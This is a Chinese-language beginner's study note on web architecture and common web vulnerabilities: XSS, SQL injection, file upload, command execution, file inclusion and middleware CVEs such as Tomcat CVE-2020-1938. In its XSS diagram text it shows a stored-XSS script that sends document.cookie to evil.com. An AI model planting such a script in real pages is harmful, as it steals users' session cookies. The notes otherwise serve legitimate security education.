【Web入门基础】基础知识点总结
菜鸡而已
Web构成组件
-Web服务组件的分层结构
从整体来看,Web服务架构的立体式结构由上至下共可分为8或9层
抽象结构 | 具体实例 |
---|---|
第三方内容 | 广告统计、mockup |
Web前端框架 | HTML5、jQuery、Bootstrap |
Web应用 | CMS、BBS、Blog |
Web开发框架 | ThinkPHP、Django、Rails |
Web服务端语言 | PHP、JSP、.NET |
Web容器 Web服务器 |
Tomcat、Jetty Apache、IIS、Nginx |
存储 | 数据库存储、内存存储、文件存储 |
操作系统 | Windows、Linux |
其中不同的层级,发挥着各自的作用,承担起在Web通信、服务独特的使命与责任。
【自下而上的概览】各部分的基本概念、作用及典例等
I.操作系统
概念:
操作系统(Operating System ,OS)是一种软件,是硬件基础上的第一层软件,是用以管理计算机硬件与软件资源的计算机程序,是硬件和其他软件沟通的桥梁,同时也是计算机系统的内核与基石。
作用:
在管理与配置内存、决定系统资源供需的优先次序、控制输入与输出设备、操作网络与管理文件系统等方面发挥重要作用;提供最基本的运算等基础服务
典例:
嵌入式系统,如VxWorks等
类Unix系统,如Linux等
微软Windows系统,如Win10等
II.存储
概念:
-现代信息技术中用于保存信息的记忆设备
-用于存储的设备被称为存储介质
-用于规定、管理存储的软件,称为存储管理系统
作用:
按照一定的约定,有规律的存放数字信息
典例:
内存、硬盘、U盘、数据库(MySql、Oracle)等
III.Web服务器端
①Web服务器
概念:
对外提供静态页面Web服务的软件系统
作用:
-处理Http协议
-接收、处理、发送静态页面
-处理并发、负载均衡
典例:
Apache、IIS、Nginx
②Web容器
概念:
为了满足交互操作,获取动态结果,而提供的一些拓展机制能够让HTTP服务器调用服务端程序
作用:
处理动态页面请求(解释器),如asp、jsp、php、cgi
典例:
Tomcat、Weblogic、Jboss、Jetty、Webshere等
Web服务器和Web容器的关系【利用分层结构理解】
*以Apache和Tomcat为例
Apache | Tomcat | |
---|---|---|
本质 | Apache是Web服务器, 处理浏览器HTTP请求 |
Tomcat是一个Servlet容器 (可以认为是Apache的拓展) 可独立运行在Apache上 |
支持对象 | 只支持HTML等静态普通网页 可以单项连通Tomcat (Apache可以单向访问Tomcat 中的资源,而反之则不行) |
可以支持动态对象 JSP、PHP、CGI等 |
作用基础 | HTTP Server | Servlet引擎 |
IV.服务器语言
概念:
为了对客户端请求的动态响应,在服务端通过编程实现,编程的语言称为Web服务端语言
作用:
-实现用户注册、信息查询、数据库访问
-为不同的用户定制页面
-对不同的网页提供安全的访问控制
典例:
ASP、ASP.NET、JSP、PHP等
Ⅴ.Web开发框架
概念:
为了解决基础Web开发的基础功能,节省开发时间、成本,开发者更多的精力放在Web网站所需的功能上,形成的开发框架系统。
作用:
-接受请求
-内容请求的路由处理
-动态生成HTML模板
典例:
Django、Flask、ThinkPHP、Rails
VI.Web应用
概念:
一种采用B/S架构,通过Web访问的应用程序,程序的最大好处是用户很好访问应用程序,用户只需有浏览器即可,不需要再安装其它的软件
作用:
实现某种信息、内容的高效管理沟通、信息发布的需求
典例:
内容管理系统(CMS)、Blog、BBS等
Web访问流程
整体流程:
用户在浏览器地址栏输入网址Url
↓
DNS域名解析
↓
建立TCP链接
↓
发送HTTP Request
↓
Web服务器响应
↓
应用服务器响应
↓
关闭TCP链接
↓
用户浏览器渲染界面
Web安全问题
层面 | 典型安全问题 |
---|---|
Web前端 | XSS |
Web开发框架 | 远程命令执行 |
Web服务器和容器 | 远程溢出、DDos攻击 |
存储 | Sql注入 |
操作系统层 | 系统漏洞、系统命令非法执行 |
跨站脚本攻击(XSS)
概念:
跨站脚本攻击(XSS),指攻击者通过在Web页面写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。
类型:
-反射型
-存储型
-DOM型
危害:
盗取cookie、XSS蠕虫攻击、对话劫持、钓鱼攻击等
body { margin: 0 }
#content-info { width: auto; margin: 0 auto; text-align: center }
#author-info { white-space: nowrap; text-overflow: ellipsis; overflow: hidden }
#title { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; padding-top: 10px; margin-bottom: 2px; font-size: 28px; color: rgba(80, 80, 80, 1) }
.text { white-space: nowrap; text-overflow: ellipsis; display: inline-block; margin-right: 20px; margin-bottom: 2px; font-size: 20px; color: rgba(140, 140, 140, 1) }
#svg-container { width: 100%; min-width: 0; margin: 0 10px }
#main-content { bottom: 0; left: 0; right: 0; background-color: rgba(208, 207, 216, 1); display: flex; height: auto; flex-flow: row wrap; text-align: center }
#svg-container>svg { display: block; margin: 10px auto 0 }
#copyright { bottom: 0; left: 50%; margin: 5px auto; font-size: 16px; color: rgba(81, 81, 81, 1) }
#copyright>a { text-decoration: none; color: rgba(119, 119, 204, 1) }
.number { position: absolute; top: 0; left: 0; border-top: 22px solid rgba(118, 131, 143, 1); border-right: 22px solid rgba(0, 0, 0, 0) }
.st9 {fill:#303030;font-family:Tahoma;font-size:14pt}
.st1 {fill:#303030;font-family:Viner Hand ITC;font-size:14pt}
.st7 {fill:#303030;font-family:宋体;font-size:12pt}
.st8 {fill:#357d91;font-family:方正粗黑宋简体;font-size:22pt}
.st6 {fill:#70578e;font-family:Tw Cen MT Condensed Extra Bold;font-size:10pt}
.st5 {fill:#70578e;font-family:Tw Cen MT Condensed Extra Bold;font-size:10pt}
.st11 {fill:#a94543;font-size:13pt}
.st3 {font-family:Segoe UI Symbol}
.st4 {font-family:Tw Cen MT Condensed Extra Bold;font-size:13pt}
.st10 {font-size:13pt}
AttackerAttacker‘s BrowserAttacker’ServerWebsiteWebsite DatabaseWebsite‘s Vulnerable Codeprint “<html>”print “<h1> Most recent comment</h1>”print database.lastestCommentprint “</html>”<script>…</script>POST http://example.com/submit-comment1VictimVictim\’s Browser<html><h1>Most recent coment</h1><script> windows.location=”http://evil.com/?cookie=”+document.cookie</script></html>2GET http://example.com/recent-comment3200 OK4GET http://evil.com/?cookie-secret
SQL注入漏洞
概念:
SQL注入漏洞,Web系统对数据库访问语句过滤不严,入侵者在合法参数的位置,传入特殊的字符、命令,实现对后台数据库的入侵。
类型:
-数据型
-Select * from table where id = 360
-字符型
-Select * from table where username = ‘sanliuling’
危害:
数据库信息泄露、数据篡改、挂马等
文件上传漏洞
概念:
文件上传漏洞,网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件,甚至可执行文件后门。
类型:
根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件等
危害:
恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,可实现数据库执行、服务器文件管理,服务器命令执行等恶意操作。
命令执行
概念:
命令执行,应用程序有时需要执行一些执行系统命令的函数,而Web开发语言中部分函数可以执行系统命令,如PHP中的system、exec、shell_exec等函数。
危害:
当黑客控制这些函数的参数时,就可以将恶意的系统命令拼接到正常的命令中,从而造成命令执行攻击,若当前用户为root用户,则危害程度更大。
文件包含
概念:
文件包含,程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时,直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。所有的脚本语言都会提供文件包含功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有。
常见包含函数有:include()、require()
类型:
本地包含
远程包含
危害:
文件包含函数加载的参数没有经过过滤或者严格定义,可以被用户控制,包含其他恶意文件,导致执行了非预期的代码。
Web中间件
概念:
Web中间件,介于操作系统和应用程序之间的产品,面向信息系统交互,集成过程中的通用部分的集合,屏蔽了底层通讯,交互,连接等复杂又通用化的功能,以产品的形式提供出来,系统在交互时,直接采用中间件进行连接和交互即可,避免了大量的代码开发和人工成本。
类型:
-
IIS
-
Apache
-
Tomcat
-
Nginx
-
WebLogic
-
Jboss
常见漏洞
中间件名称 | 漏洞 |
---|---|
IIS | 解析漏洞、PUT命令执行漏洞、PUT文件上传漏洞、短文件名猜测 |
Apache | 文件解析漏洞 |
Tomcat | 任意写文件漏洞(CVE-2017-12615)、任意文件取\包含漏洞(CVE-2020-1938) 远程部署漏洞 |
Nginx | 文件解析漏洞、目录穿越\遍历漏洞 |
Weblogic | 任意文件上传漏洞(CVE-2018-2894)、SSRF漏洞(CVE-2014-4210) 弱口令&&远程部署漏洞 |
Jboss | JBoss 4.x JBossMQ JMS反序列化漏洞(CVE-2017-7504) 反序列化漏洞(CVE-2017-12149)、弱口令&&远程部署漏洞 |
漏洞样例(Tomcat-CVE-2020-1938)
Tomcat
Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照SunMicrosystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。
由于Tomcat本身也内含了HTTP服务器,因此可以是做单独的Web服务器。
影响版本
Apache Tomcat 9.x<9.0.31
Apache Tomcat 8.x<8.5.51
Apache Tomcat 7.x<7.0.100
Apache Tomcat 6.x
漏洞危害
读取到/WEB-INF/web.xml文件
OWASP TOP10
反映影响比较广泛、危害性较大的重点风险所在处
推荐图书
·《白帽子讲Web安全》
·《Web安全深度剖析》
·《Web安全攻防》
本篇内容总结自360网络安全大学公开课
网址 https://university.360.cn/